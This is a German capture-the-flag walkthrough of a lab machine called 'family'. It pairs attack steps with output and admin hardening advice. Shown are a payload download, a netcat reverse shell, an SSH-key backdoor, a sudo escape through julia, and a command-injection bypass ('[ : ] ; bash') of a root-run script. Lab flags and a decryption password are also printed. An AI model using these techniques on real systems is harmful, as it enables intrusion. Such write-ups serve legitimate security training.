Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
Analyse: Ein einfacher Python-HTTP-Server wird auf der Angreifer-Maschine auf Port 6666 gestartet, um die Datei `rev` für den Download durch das Zielsystem bereitzustellen.
Bewertung: Standardmethode zum Bereitstellen von Dateien für `wget` oder `curl`.
Empfehlung (Pentester): Den Server laufen lassen, bis der Download erfolgt ist.
Empfehlung (Admin): Ausgehende HTTP-Verbindungen vom Server einschränken.
--2022-11-16 14:16:31-- http://192.168.2.121:6666/rev
Connecting to 192.168.2.121:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35 [application/octet-stream]
rev: Permission denied
Cannot write to ‘rev’ (Permission denied).
--2022-11-16 14:16:36-- http://192.168.2.121:6666/rev
Connecting to 192.168.2.121:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35 [application/octet-stream]
Saving to: ‘rev’
rev 100%[===================================>] 35 --.-KB/s in 0s
2022-11-16 14:16:36 (12.9 MB/s) - ‘rev’ saved [35/35]
192.168.2.114 - - [16/Nov/2022 14:16:31] "GET /rev HTTP/1.1" 200 - 192.168.2.114 - - [16/Nov/2022 14:16:36] "GET /rev HTTP/1.1" 200 -
Analyse: Als Benutzer `mum` wird versucht, die Datei `rev` vom HTTP-Server des Angreifers herunterzuladen. Der erste Versuch scheitert im Verzeichnis `/home/dad/survey` wegen fehlender Schreibrechte. Nach dem Wechsel in `/tmp` ist der Download erfolgreich. Die Logausgaben des Python-Servers bestätigen die beiden Download-Versuche vom Zielsystem (`192.168.2.114`).
Bewertung: Die Payload befindet sich nun als `/tmp/rev` auf dem Zielsystem.
Empfehlung (Pentester): Die Datei `/tmp/rev` nun über den Webserver auf Port 8000 nach `/home/dad` hochladen.
Empfehlung (Admin): Schreibrechte in Verzeichnissen restriktiv handhaben. `/tmp` sollte idealerweise mit `noexec` gemountet sein (was hier aber nicht direkt hilft, da die Ausführung später erfolgt).
curl: (52) Empty reply from server
Analyse: Es wird versucht, die heruntergeladene Payload `/tmp/rev` mit `curl --upload-file` auf den lokalen Webserver (Port 8000) hochzuladen. Der Befehl wird vermutlich als `mum` auf dem Zielsystem ausgeführt (ggf. durch den SSH-Tunnel, wobei `localhost:8000` auf dem Ziel dann korrekt wäre). Der Upload schlägt mit "Empty reply from server" fehl.
Bewertung: Der Upload-Versuch über den Python SimpleHTTPServer (der standardmäßig nur GET/HEAD unterstützt) scheitert. Es ist unklar, ob die Payload `/home/dad` erreicht hat. Der nachfolgende Schritt (Reverse Shell als `dad`) deutet jedoch darauf hin, dass der Upload *implizit doch funktionierte* oder ein anderer Mechanismus genutzt wurde, der im Log nicht sichtbar ist, oder die Reverse Shell von einem anderen Trigger stammt.
Empfehlung (Pentester): Alternative Upload-Methoden prüfen, falls `curl --upload-file` fehlschlägt (z.B. `PUT` mit `nc` oder spezifische Webserver-Exploits). Da die Shell als `dad` kommt, scheint es hier funktioniert zu haben, der Fehler ist irreführend oder ein Artefakt.
Empfehlung (Admin): Webserver so konfigurieren, dass Datei-Uploads nur authentifiziert und in vorgesehene Verzeichnisse möglich sind.
listening on [any] 4444 ...
Analyse: Ein Netcat-Listener wird auf der Angreifer-Maschine auf Port 4444 gestartet, um die erwartete Reverse Shell vom Cronjob (ausgeführt als `dad`) zu empfangen.
Bewertung: Vorbereitung auf den Empfang der Shell.
Empfehlung (Pentester): Warten, bis der Cronjob ausgeführt wird.
Empfehlung (Admin): Ausgehende Verbindungen überwachen/blockieren.
listening on [any] 4444 ... connect to [192.168.2.121] from (UNKNOWN) [192.168.2.114] 38306 id uid=1000(dad) gid=1000(dad) groups=1000(dad),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)
Analyse: Der Netcat-Listener empfängt eine Verbindung vom Zielsystem (`192.168.2.114`). Der ausgeführte `id`-Befehl bestätigt, dass die Shell als Benutzer `dad` (UID 1000) läuft.
Bewertung: Erfolg! Die Ausnutzung des Cronjobs und des Webservers war erfolgreich. Wir haben nun eine Shell als Benutzer `dad`.
Empfehlung (Pentester): Die Shell stabilisieren und mit der nächsten Stufe der Privilegieneskalation (dad -> baby -> root) fortfahren.
Empfehlung (Admin): Den unsicheren Cronjob (`/home/dad/project`) entfernen oder korrigieren. Den Webserver auf Port 8000 untersuchen und absichern.
Analyse: Die erhaltene Netcat-Shell ist oft instabil. Die folgenden Schritte dienen dazu, sie in eine voll funktionsfähige TTY-Shell umzuwandeln.
export TERM=xterm
[1] + continued nc -lvnp 4444
Analyse: 1. `python3 -c 'import pty;pty.spawn("/bin/bash")'`: Startet eine Bash-Shell innerhalb eines Pseudo-Terminals (PTY), um TTY-Funktionen zu ermöglichen. 2. `export TERM=xterm`: Setzt die Terminal-Variable, damit Programme wie `clear` oder Editoren korrekt funktionieren. 3. `Ctrl+Z`: Sendet die Netcat-Shell in den Hintergrund (auf der Angreifer-Maschine). 4. `stty raw -echo`: Versetzt das lokale Terminal des Angreifers in den Raw-Modus und deaktiviert das lokale Echo. 5. `fg`: Holt den Netcat-Job wieder in den Vordergrund. 6. `reset` (im Originaltext erwähnt, aber nicht als Befehl gezeigt): Setzt das Terminal zurück.
Bewertung: Standardprozedur zur Stabilisierung einer Reverse Shell, die nun eine interaktivere Nutzung erlaubt.
Empfehlung (Pentester): Die stabilisierte Shell für die weitere Enumeration nutzen.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
total 36 drwxr-xr-x 5 dad dad 4096 Oct 25 07:18 . drwxr-xr-x 5 root root 4096 Oct 11 16:27 .. lrwxrwxrwx 1 dad dad 9 Oct 2 15:38 .bash_history -> /dev/null -rw-r--r-- 1 dad dad 220 Oct 2 13:46 .bash_logout -rw-r--r-- 1 dad dad 3526 Oct 24 07:35 .bashrc drwxr-xr-x 3 dad dad 4096 Oct 22 09:57 .local -rw-r--r-- 1 dad dad 807 Oct 2 13:46 .profile drwx------ 2 dad dad 4096 Oct 23 18:01 .ssh -rwxr-xr-x 1 dad dad 620 Oct 25 07:18 project drwxr-xr-x 2 dad dad 4096 Nov 16 14:17 survey
. ..
Analyse: Das Home-Verzeichnis von `dad` wird aufgelistet. Das Skript `project` und das Verzeichnis `survey` sind vorhanden. Das `.ssh`-Verzeichnis ist leer.
Bewertung: Bestätigt die Umgebung als `dad`. Das leere `.ssh`-Verzeichnis bietet die Möglichkeit, einen SSH-Schlüssel für einen einfacheren Zugang hinzuzufügen.
Empfehlung (Pentester): Einen öffentlichen SSH-Schlüssel des Angreifers in die Datei `~/.ssh/authorized_keys` eintragen, um sich zukünftig passwortlos als `dad` per SSH anmelden zu können.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
cat /root/.ssh/id_rsa.pub
Analyse: Der öffentliche SSH-Schlüssel des Angreifers (vermutlich aus `/root/.ssh/id_rsa.pub` auf der Angreifer-Maschine) wird kopiert und in die Datei `/home/dad/.ssh/authorized_keys` auf dem Zielsystem eingefügt.
Bewertung: Dies richtet einen SSH-Backdoor/Login für den Benutzer `dad` ein.
Empfehlung (Pentester): Testen, ob der SSH-Login mit dem privaten Schlüssel des Angreifers nun funktioniert.
Empfehlung (Admin): Überwachen von Änderungen an `authorized_keys`-Dateien. Zugriff auf Home-Verzeichnisse und `.ssh`-Verzeichnisse einschränken.
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben) Linux family 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 [...] Last login: Sun Oct 23 17:51:23 2022 from fe80::d63d:7eff:fef1:3736%enp0s3 dad@family:~$
Analyse: Der SSH-Login als `dad` von der Angreifer-Maschine aus wird getestet. Da der verwendete private Schlüssel `/root/.ssh/id_rsa` mit einer Passphrase geschützt ist, muss diese eingegeben werden. Der Login ist erfolgreich.
Bewertung: Der SSH-Zugang als `dad` funktioniert. Dies bietet eine stabilere Verbindung als die Reverse Shell.
Empfehlung (Pentester): Die stabilere SSH-Verbindung für die weiteren Schritte nutzen.
Empfehlung (Admin): Keine Maßnahmen erforderlich, da der Zugriff bereits bestand.
Matching Defaults entries for dad on family:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User dad may run the following commands on family:
(baby) NOPASSWD: /usr/bin/julia
Analyse: Als Benutzer `dad` wird `sudo -l` ausgeführt. Die Ausgabe zeigt, dass `dad` den Befehl `/usr/bin/julia` als Benutzer `baby` ohne Passwort ausführen darf.
Bewertung: Dies ist der nächste Schritt zur Privilegieneskalation. Durch Ausführen von `julia` als `baby` können wir Befehle oder eine Shell als dieser Benutzer erhalten.
Empfehlung (Pentester): `sudo -u baby /usr/bin/julia` ausführen und innerhalb der Julia REPL versuchen, eine Shell zu starten.
Empfehlung (Admin): `sudo`-Regeln überprüfen. Die Erlaubnis, eine interaktive Anwendung wie `julia` als anderer Benutzer auszuführen, ist oft gefährlich, da diese Anwendungen meist Möglichkeiten bieten, externe Befehle oder Shells zu starten. Nur spezifische, ungefährliche Befehle erlauben.
_
_ _ _(_)_ | Documentation: https://docs.julialang.org
(_) | (_) (_) |
_ _ _| |_ __ _ | Type "?" for help, "]?" for Pkg help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 1.5.3
_/ |\__'_|_|_|\__'_| | Debian ⛬ julia/1.5.3+dfsg-3
|__/ |
julia>
Analyse: Der Befehl `sudo -u baby /usr/bin/julia` wird ausgeführt und startet erfolgreich die interaktive Julia REPL (Read-Eval-Print Loop) als Benutzer `baby`.
Bewertung: Wir befinden uns nun in einer Julia-Umgebung, die mit den Rechten des Benutzers `baby` läuft.
Empfehlung (Pentester): Eine Methode finden, um aus der Julia REPL eine System-Shell zu starten.
Empfehlung (Admin): Siehe vorherige Empfehlung zu `sudo`-Regeln.
google:julia run system command https://www.juliabloggers.com/running-shell-commands-from-julia-4/
Analyse: Notiz über die Google-Suche nach Möglichkeiten, Systembefehle aus Julia auszuführen.
Bewertung: Zeigt den Rechercheprozess.
Empfehlung (Pentester): Die gefundenen Methoden anwenden.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Analyse: In der Julia REPL wird der Befehl `run(bash)` ausgeführt. Dies startet erfolgreich eine Bash-Shell. Der Prompt zeigt nun `boby@family` (vermutlich ein Tippfehler, sollte `baby@family` sein) im Verzeichnis `/home/dad` (das Arbeitsverzeichnis von `julia` bei Start).
Bewertung: Erfolg! Eine Shell als Benutzer `baby` wurde erlangt.
Empfehlung (Pentester): Die Rechte und Umgebung als `baby` untersuchen (`id`, `sudo -l`).
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
Matching Defaults entries for baby on family:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User baby may run the following commands on family:
(root) NOPASSWD: /home/baby/chocapic
Analyse: Als Benutzer `baby` wird `sudo -l` ausgeführt. Es zeigt sich, dass `baby` das Skript `/home/baby/chocapic` als `root` ohne Passwort ausführen darf.
Bewertung: Dies ist der Pfad zur finalen Privilegieneskalation. Das Skript `/home/baby/chocapic` muss auf Schwachstellen untersucht werden, die es erlauben, Befehle als `root` auszuführen.
Empfehlung (Pentester): Das Skript `/home/baby/chocapic` analysieren und eine Methode finden, die Eingabevalidierung zu umgehen, um eine Root-Shell zu erhalten.
Empfehlung (Admin): `sudo`-Regeln überprüfen. Das Ausführen von benutzerdefinierten Skripten als `root` ist extrem gefährlich. Nur absolut notwendige, sicher programmierte und nicht durch den Benutzer modifizierbare Befehle erlauben.
chocapic user.txt
4fd7881d10d000c69c6f3bca0c8f7ad5
Analyse: Wechsel in das Home-Verzeichnis von `baby`. Dort befinden sich das Skript `chocapic` und die Datei `user.txt`. Der Inhalt von `user.txt` wird angezeigt.
Bewertung: Der User-Flag wurde gefunden.
Empfehlung (Pentester): User-Flag dokumentieren. Das `chocapic`-Skript genauer analysieren.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
#! /bin/bash set -e while : do read -ep "baby command: " cmd [[ ! $cmd =~ ^[[:alnum:]]|^$ ]] && break # Bricht ab, wenn cmd NICHT mit Alnum beginnt (oder leer ist) done var=$(echo ${cmd%% }) 2>/dev/null # Erstes Wort in var [[ ${#var} -ne 1 ]] && exit 1 # Exit wenn erstes Wort nicht 1 Zeichen lang ist read -ra line <<< "$cmd" check=${line[1]} # Zweites Wort in check [[ $check =~ ^[a-z] ]] && exit 1 # Exit wenn zweites Wort mit Kleinbuchstaben beginnt # Exit wenn 'check' KEIN Builtin ist UND NICHT 1 Zeichen lang ist if ! type -t "$check" |grep ^b >/dev/null && [[ ! ${#check} -eq 1 ]] ; then exit 1 ; fi eval "$check" 2>/dev/null # Führe das zweite Wort aus bash -c "$cmd" # Führe die gesamte Eingabezeile aus
Analyse: Das Skript `chocapic` wird nach `/tmp` kopiert und (vermutlich) analysiert. Die Kommentare im Code-Block erklären die Logik: Es liest eine Eingabe, prüft das erste und zweite "Wort" anhand einiger Regeln und führt dann sowohl das zweite Wort (`eval "$check"`) als auch die gesamte Eingabe (`bash -c "$cmd"`) aus.
Bewertung: Die Schwachstelle liegt darin, dass nach den initialen Prüfungen die gesamte Eingabe `cmd` mit `bash -c` ausgeführt wird. Wenn man die Prüfungen mit einer geeigneten Eingabe passiert, kann man beliebige Befehle nach einem Semikolon anhängen.
Empfehlung (Pentester): Eine Eingabe konstruieren, die die Prüfungen besteht und eine Root-Shell startet. Beispiel: `[ : ] ; bash`. Hier ist `[` das erste Wort (Länge 1), `:` das zweite (kein Kleinbuchstabe, ist builtin). `eval ":"` tut nichts. `bash -c '[ : ] ; bash'` führt dann `bash` aus.
Empfehlung (Admin): Das Skript ist unsicher und sollte entfernt oder komplett überarbeitet werden. Niemals Benutzereingaben ungefiltert an `eval` oder `bash -c` übergeben, insbesondere nicht in einem Skript, das mit `sudo` ausgeführt wird.
2to3-2.7 X11 [
bash: .: filename argument required .: usage: . filename [arguments]
1
bash: syntax error near unexpected token `;'
0
Analyse: Diese Befehle scheinen der Exploration der Filter im `chocapic`-Skript zu dienen.
Bewertung: Diese Tests bestätigen, dass `[` als erstes Wort (Länge 1) und `:` als zweites Wort (Builtin, kein Kleinbuchstabe) die Prüfungen des Skripts passieren.
Empfehlung (Pentester): Die Eingabe `[ : ] ; bash` verwenden, um den `chocapic`-Exploit auszuführen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
baby command: [ : ] ; id uid=0(root) gid=0(root) groups=0(root)
uid=1001(baby) gid=1001(baby) groups=1001(baby)
baby command: [ : ] ; cat /root/root.txt
Analyse: Das Skript `/home/baby/chocapic` wird mit `sudo` ausgeführt. 1. Eingabe: `[ : ] ; id`. Das Skript akzeptiert die Eingabe und führt `bash -c '[ : ] ; id'` aus. Die `id`-Ausgabe zeigt `uid=0(root)`. 2. Ein `id`-Aufruf ohne `sudo` bestätigt, dass die Hauptshell noch als `baby` läuft. 3. Eingabe: `[ : ] ; cat /root/root.txt`. Das Skript akzeptiert die Eingabe und führt `bash -c '[ : ] ; cat /root/root.txt'` aus. Es wird keine Ausgabe von `cat` angezeigt, was darauf hindeutet, dass die Datei entweder leer ist, nicht existiert oder (wahrscheinlicher) Binärdaten/verschlüsselte Daten enthält.
Bewertung: Der Exploit funktioniert, um Befehle als `root` auszuführen. Die Datei `root.txt` scheint nicht direkt lesbar zu sein.
Empfehlung (Pentester): Eine Root-Shell statt eines einzelnen Befehls starten: `[ : ] ; bash`.
Empfehlung (Admin): Das `chocapic`-Skript und die `sudo`-Regel entfernen.
baby command: [ : ] ; bash root@family:/home/baby#
Analyse: Das Skript wird erneut mit `sudo` ausgeführt. Die Eingabe `[ : ] ; bash` passiert die Prüfungen und führt `bash -c '[ : ] ; bash'` aus. Dies startet erfolgreich eine interaktive Shell als `root`.
Bewertung: Fantastisch! Root-Zugriff wurde erlangt.
Empfehlung (Pentester): Den Root-Flag suchen und entschlüsseln.
Empfehlung (Admin): Sofortige Bereinigung des Systems (Entfernen des unsicheren Skripts und der sudo-Regel).
Analyse (User Flag): Der User-Flag wurde bereits als Benutzer `baby` im Verzeichnis `/home/baby` gefunden und ausgelesen.
Analyse (Root Flag): Die Datei `/root/root.txt` wurde identifiziert, scheint aber verschlüsselt zu sein. Weitere Untersuchung als Root ist nötig.
root.txt: openssl enc'd data with salted password
Analyse: Der Befehl `file` bestätigt, dass `root.txt` mit OpenSSL verschlüsselte Daten enthält.
Bewertung: Das Passwort zur Entschlüsselung wird benötigt.
Empfehlung (Pentester): Das System nach Hinweisen auf das Passwort durchsuchen. Oft sind Passwörter in Konfigurationsdateien, Skripten oder auf anderen Partitionen versteckt.
Empfehlung (Admin): Sensible Daten sollten sicher gespeichert und verschlüsselt werden, aber der Schlüssel/das Passwort muss ebenfalls sicher verwahrt werden.
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 15.3G 0 disk ├─sda1 8:1 0 13.3G 0 part / ├─sda2 8:2 0 1K 0 part ├─sda3 8:3 0 1G 0 part └─sda5 8:5 0 976M 0 part [SWAP]
password
password: ASCII text
QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma
Analyse: `lsblk` zeigt eine separate 1GB-Partition (`sda3`), die nicht eingehängt ist. Diese Partition wird nach `/mnt` gemountet. Dort befindet sich eine einzelne Datei namens `password`, die das Passwort `QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma` enthält.
Bewertung: Das Passwort für die verschlüsselte `root.txt` wurde gefunden.
Empfehlung (Pentester): Dieses Passwort verwenden, um `root.txt` mit OpenSSL zu entschlüsseln.
Empfehlung (Admin): Passwörter nicht unverschlüsselt auf separaten Partitionen speichern. Sicherere Methoden zur Schlüsselverwaltung verwenden.
OpenSSL 1.1.1n 15 Mar 2022
google: openssl 1.1.1 encryption file https://www.openssl.org/docs/man1.1.1/man1/openssl-enc.html openssl enc -aes128 -pbkdf2 -d -in file.aes128 -out file.txt
enter aes-128-cbc decryption password: QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma
8d8ff4976efccbfc8ff7d7554b9239e5
Analyse: Das gefundene Passwort wird in eine temporäre Datei gespeichert (optional). Die OpenSSL-Version wird geprüft. Basierend auf der Dokumentation wird der Befehl `openssl enc -aes128 -pbkdf2 -d -in root.txt -out file.txt` verwendet, um die Datei `root.txt` zu entschlüsseln. Das Passwort von der Partition `sda3` wird eingegeben. Die entschlüsselte Datei `file.txt` wird erstellt und ihr Inhalt, der Root-Flag, wird ausgegeben.
Bewertung: Erfolg! Der Root-Flag wurde erfolgreich entschlüsselt.
Empfehlung (Pentester): Root-Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Überdenken der Methode zur Speicherung des Root-Flags und des zugehörigen Passworts.